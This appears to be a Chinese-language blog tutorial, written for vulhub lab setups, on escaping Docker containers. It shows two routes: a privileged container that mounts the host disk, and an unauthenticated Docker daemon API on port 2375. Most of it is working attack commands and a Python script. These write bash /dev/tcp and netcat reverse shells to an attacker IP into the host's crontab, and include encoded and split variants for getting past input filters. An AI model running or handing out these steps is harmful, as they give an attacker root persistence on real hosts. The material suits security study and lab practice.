使用特权模式启动容器的docker逃逸方法

使用特权模式启动镜像

1
docker run -it --privileged 2c047404e52d /bin/bash

考虑到部署环境时大多使用vulhub的镜像,所以这里给出修正方案是在docker-compose.yml文件中添加一个字段,如下:

1
privileged: true

image-20210106133232264

修改完成后执行如下命令启动:

1
docker-compose up -d

通过漏洞利用拿到docker 容器的shell后:

查看磁盘文件:fdisk -l

image-20210106102824909

从返回结果来看sda1、sda2、sda5在/dev目录下。

image-20210106102909850

新建一个目录/test,将/dev/sda5挂载到新建的目录下,并查看test目录下的内容,发现可以访问宿主机上/目录下的内容了

1
2
mkdir ./test
mount /dev/sda5 ./test

image-20210106103015017

将反弹shell的命令写成一个脚本crontabshell存在/tmp下面

1
2
3
4
5
6
7
#创建shell脚本文件
touch ./test/tmp/crontabshell
#写入反弹shell命令
echo "#!/bin/bash" > ./test/tmp/crontabshell
echo "bash -i >& /dev/tcp/192.168.20.133/8888 0>&1 &" >> ./test/tmp/crontabshell
#添加执行权限
chmod 755 ./test/tmp/crontabshell

==可能遇到的问题==

1
2
3
4
5
6
7
8
9
10
11
12
13
#当命令执行有长度限制时,解决办法如下:
echo "#!/bin/bash" >> ./test/tmp/crontabshell
echo -n "bash -i " >> ./test/tmp/crontabshell
echo -n "bash -i " >> ./test/tmp/crontabshell
echo -n ">& /dev/" >> ./test/tmp/crontabshell
echo -n "tcp/192." >> ./test/tmp/crontabshell
echo -n "168.137." >> ./test/tmp/crontabshell
echo -n "235/7777" >> ./test/tmp/crontabshell
echo -n " 0>&1 &" >> ./test/tmp/crontabshell
#如果遇到& >等特殊符号写不进去可以尝试编码之后再写,如下:
touch ./test/tmp/crontabshell
echo "#!/bin/bash" > ./test/tmp/crontabshell
echo "bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.137.235%2F7777%200%3E%261%20%26" >> ./test/tmp/crontabshell

在系统计划任务里写入执行脚本的定时任务:

1
2
3
echo "*/1 * * * * root /tmp/crontabshell" >> ./test/etc/crontab
#编码结果如下:
echo "*%2F1%20*%20*%20*%20*%20root%20%2Ftmp%2Fcrontabshell" >> ./test/etc/crontab

在攻击机上开启netcat监听7777端口,成功接收到宿主主机的Shell,实现Docker逃逸。

1
nc -nvlp 7777

image-20210106185232646

docker daemon api 未授权访问

访问your-ip:2375/version验证是否搭建成功

image-20210107154914903

利用脚本

1
2
3
4
import docker

client = docker.DockerClient(base_url='http://192.168.11.160:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '*/1 * * * * /usr/bin/nc 192.168.11.1 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
2021-04-19

⬆︎TOP